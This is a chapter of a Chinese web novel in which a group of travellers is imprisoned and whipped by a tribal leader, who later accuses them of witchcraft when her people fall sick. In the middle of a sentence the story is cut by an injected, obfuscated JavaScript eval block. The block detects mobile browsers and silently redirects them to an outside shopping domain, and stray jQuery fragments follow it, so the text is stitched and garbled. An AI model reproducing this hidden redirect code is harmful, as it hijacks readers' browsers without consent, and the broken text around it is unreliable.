第二日一早天还没亮,蒋曼是被一阵吵嚷声叫醒的,大家纷纷到院落中查看情况。
只见一女子站在院子中央,她手拿皮带,正抽打着一排跪坐在地上的男人们,他们全被麻绳绑着,低头跪成一排,任由她抽打也一声不吭。
围观的群众挤在院子里,把院子围的水泄不通,原本宽敞的十间屋子显得拥挤不堪。院中人声鼎沸,但蒋曼她们听不懂这些村民的语言。
男人们被鞭打后被押到旁边的房子里,蒋曼这才明白,原来这么多间房屋都是为了这些做错事的人准备的,这些屋子就是他们部落的审讯室或监狱。
人群渐渐散了,女子和川走了过来。
“害怕了吧?”川主动开口。
“他们这是怎么了?”蒋曼疑惑不解。
只见那女子抢先回答:“他们犯了错还要逃跑,你就是蒋曼?”女子同样说着丘地的话。
川面露无奈,仿佛已经习惯了这样。
蒋曼猜测:“是,你就是川的姐姐吧?我们来到这里多有打扰,请见谅。”
“我还没来得及问,你们怎么来这的?”女子看着川,又扫视一圈蒋曼等人。
蒋曼如实回答:“我们是来这里学习你们怎么盖房子的。”
女子倒是爽利直言:“部落里的房子任你们选,你们看上哪个了?直接住下。小川,你安排。”
蒋曼正想着如何礼貌拒绝,只听逻干脆利落的声音响起:“不必,我们学习完明日就回去。”
川站在女子身后不断摇头,暗示逻不要再说话。蒋曼见状也捏了捏她的手。
女子沉默,犀利的眼神看向逻,打量了她一圈后问道:“你有伴侣了?”
逻直视她那带有侵略性的眼睛:“是。”
女子笑道:“好说好说,他若是来寻你,就一起留下,他若是不来,我还有几个弟弟,你选一个就是。”说罢,女子又环视了一圈蒋曼一伙人,又道,“你们这些人全留下,都按我说的办。”
大家面面相觑,齐声拒绝。
“不行?那抓起来吧,什么时候想好了告诉我。”女子一摆手,刚刚关押那些罪犯的人已经站在他们身后。
两方大战的气氛一触即发,双方已跃跃欲试准备展开较量。
川及时制止:“姐,反正她们也逃不出去,不如先让她们在这好好感受几天,说不定她们自己就留下来了。是吧,蒋曼?”
蒋曼不想留下,但看这女子太过强势,是个吃软不吃硬的人,只好答应:“嗯,我们也可以把伴侣叫来,一起留在这。不过我们都听不懂你们的语言,留下我们对你们来说也没什么用。”
“不需要你们听懂,壮大部落就是你们的用处。好了,别再说了,我还有事,你们必须留下!”说完女子就离开了。
川无奈地叹了口气,挑挑眉问蒋曼:“怎么样?就听我姐的,你们就都留下吧。这里什么都有,等你们的伴侣找过来,也一起留下。”
逻冷着一张脸,面露愠色:“不必。”
蒋曼拉着逻的手,想要阻止她别再和他们硬碰硬,蒋曼对着川说:“我们先看看再决定。”
川:“好,部落里你们随便转,我会在这里每日给你们准备吃的东西,我先去找我姐。”
“你姐姐叫什么?”蒋曼问道。
“江娥。”川答。
川离开后,大家商量着也赶紧走,这房子的大致模样他们已经看见了,回去也能复原个差不多,实在不行就在山洞里住,如今保命要紧,先回去再说。
大家急匆匆赶到城门口,只见那里早已有一排身型强壮的男女在此列队,手中拿着武器,看样子已经在此等候多时。这些人里有不少眼熟的面孔,正是那日抓她们的那一伙。
队列中的人面露焦急,冲蒋曼摆手,试图让她们回去,他们用本地语言劝着她们:“回去吧!你们出不去!”
见这情形,大家即使听不懂也能看个大概,这部落想进来容易,想要出去可太难。
逻看向四周的城墙:“这墙这么高也很难翻出去,城门还有人把守出不去,怎么办?”
蒋曼带着大家往回走:“咱们先转转吧,看看有没有能出去的地方,我看这墙都是土做的,没准有狗洞能钻出去。实在不行等晚上就找机会挖个洞出来。”
这回大家也不用着急走了,借着参观部落的由头四处寻觅城墙的漏洞。越走越发现,这墙竟有专人巡视,整座城都被那个叫江娥的利落女子治理得井井有条,大家对她的态度也从厌恶开始逐渐变成欣赏。
一阵风吹过,天上掉了些许雨点,原本万里无云的蓝天突然变得暗了下来。
躲在附近看守的人立刻过来驱赶蒋曼她们,让她们赶紧回去。
绝望的心被这雨水浇灭,恶劣的天气反而给大家带来了希望,她们相互笑笑,心照不宣地往回走,回去吃这最后一顿饱饭。
回到屋中吃到了川准备的饭食,糙米饭肉类等应有尽有,人们都把它当作最后一顿享用,陶锅中的米饭一粒不剩,她们知道在大快朵颐之后就要开始紧张地逃命。
外面雷声大作,除了大雨的哗哗声和偶尔的轰鸣声,再听不到屋外的任何动静,这场雨成为了天然的隔音屏障。
大家低声讨论着一会儿的计划,犹豫了半天要不要和大家说清真相的涂,也在这时开了口。
他压低声音:“我有件事要和大家说。之前发生的事想必大家都清楚,所以这次我打算留在这,就不和大家一起回去了。一会我会主动去找她们说清楚,我会尽量拖延时间,你们趁着这个时间抓紧跑。”
“我们凭什么相信你?谁保证你不是要去告密?”领队的男子斜睨着涂。
“你要留也等我们离开再留。”大家对涂仍是不信任。
蒋曼也不同意:“你现在去找她们太危险,若是被她们知道你是故意为我们拖延时间,恐怕你也会像早上那些男人一样被惩罚。”
逻也赞成蒋曼的说法,但话到嘴边却变了味儿:“大可不必。”
正在众人议论对策的时刻,江娥带着一批人冲了进来,声音中带着藏不住地恼怒:“把她们都给我绑起来!还想走?一个都别想!”
大家挣扎了许久,终是抵不过对方人多势众,人们被捆在一起,还有人口中不断咒骂着江娥。
江娥不甘示弱:“吃的穿的住的都可以给你们,你们不稀罕,好,那就在这绑着,等天晴了,通通去给我做苦力!”
屋地上那一根根不知道用途的树桩,这回派上了用场。正如蒋曼所料,这里就是部落的牢房,她们被绑在树桩上无法移动,这才是真正的叫天天不应,叫地地不灵。
“怎么办?咱们会不会一直留在这了?”晴担心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671375|204139||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不已。
“不会,翼一定会来救我们。”大家都相信翼。
“他肯定能来。”
蒋曼:“可就算他来,也得是在等不到我们回去的情况下,他才能出发来找我们,等他到了这,至少又要一个月了。”
“那怎么办?”
一时之间谁也没了主意。
接下来的几天里,除了在吃喝拉撒时她们能短暂地获得一些自由,其余时间都被绑在屋里。
雨一直在下,近五天的时间都在下雨,在第六日时,终于迎来了个大晴天。
连续被捆绑了六日,所有人的身体都已经忍耐到了极限,大家决定服从江娥的安排,先服个软,总比一直受罪强。
未等蒋曼她们叫人,只见江娥怒气冲冲地进来,身后还带着一群人,也全都恶狠狠地看着她们,和之前对待她们和蔼可亲的态度完全不同。
“说!是不是你们施展了什么巫术!”
江娥手中的皮带一鞭子甩向蒋曼:“听说你是祭司?你捣了什么鬼!”
见蒋曼被打,所有人都急了,即使大家手脚仍被捆着,但也全都在为蒋曼打抱不平。
晴惊呆了:“你干什么?!”
逻一脸愤怒,脸被涨的通红:“你有什么事冲我来!你欺负她算什么能耐?”
践英气的身体发抖:“我女儿还轮不到被你这么个莽撞的人教训!”
男人们甚至开始辱骂江娥。
兵情急之下奋力挣扎,不知怎的,手上的麻绳竟松了,他冲上前去抢过江娥手中的皮鞭,也要回抽向她,可最后终究是被人死死按住动弹不得。
蒋曼被一鞭子抽的眼泪直在眼中转圈,她强忍住泪水,质问江娥:“到底发生了什么事,先说来听听,你什么也不问,上来就打人,亏我之前还欣赏你治理部落有方,没想到我看错了你。”
蒋曼的一番话软硬兼施,江娥听罢果真语气软了下来,但目光中仍带着愤恨看向她们。
“要不是你们施展巫术,怎么会死了那么多人!”
逻大骂:“你放屁,我们都被捆着,哪有手能施展巫术,当初让你放我们走,你不同意,如今遭报应了!”
江娥听不了辱骂,一鞭子又抽在逻身上,语气更加焦急:“你还说?就是你们干的!”
“你抽死我,我也要说!”
蒋曼赶紧制止逻:“别再骂架了!”她转头看向江娥道,“你先说说那些死人的症状。”
“拉肚子,他们到死都在拉!整个部落全都在腹痛!除了你们!要不是你们下了巫术,为什么你们没事?!”江娥难掩激动,手中皮鞭仍指着她们。
蒋曼皱眉问道:“什么时候开始的?你们吃的喝的都和我们一样吗?”
“昨日开始就陆续有人腹痛难忍,吃的喝的都一样!怎么就你们没事?”
蒋曼:“你把我松开我要去看看。”
见江娥犹豫,蒋曼急道:“你不是还要壮大部落?再不松开我,人都快死光了!”
蒋曼的手脚被解开,她松了松手腕脚腕,江娥在一旁不耐烦催促着:“我抬着你走?”
蒋曼深吸一口气,不想和她一般见识,她平复着心情道:“快走吧。”
临行前大家纷纷叮嘱蒋曼:“曼曼,你小心点。”
“好。”说罢,蒋曼就跟着江娥离开了。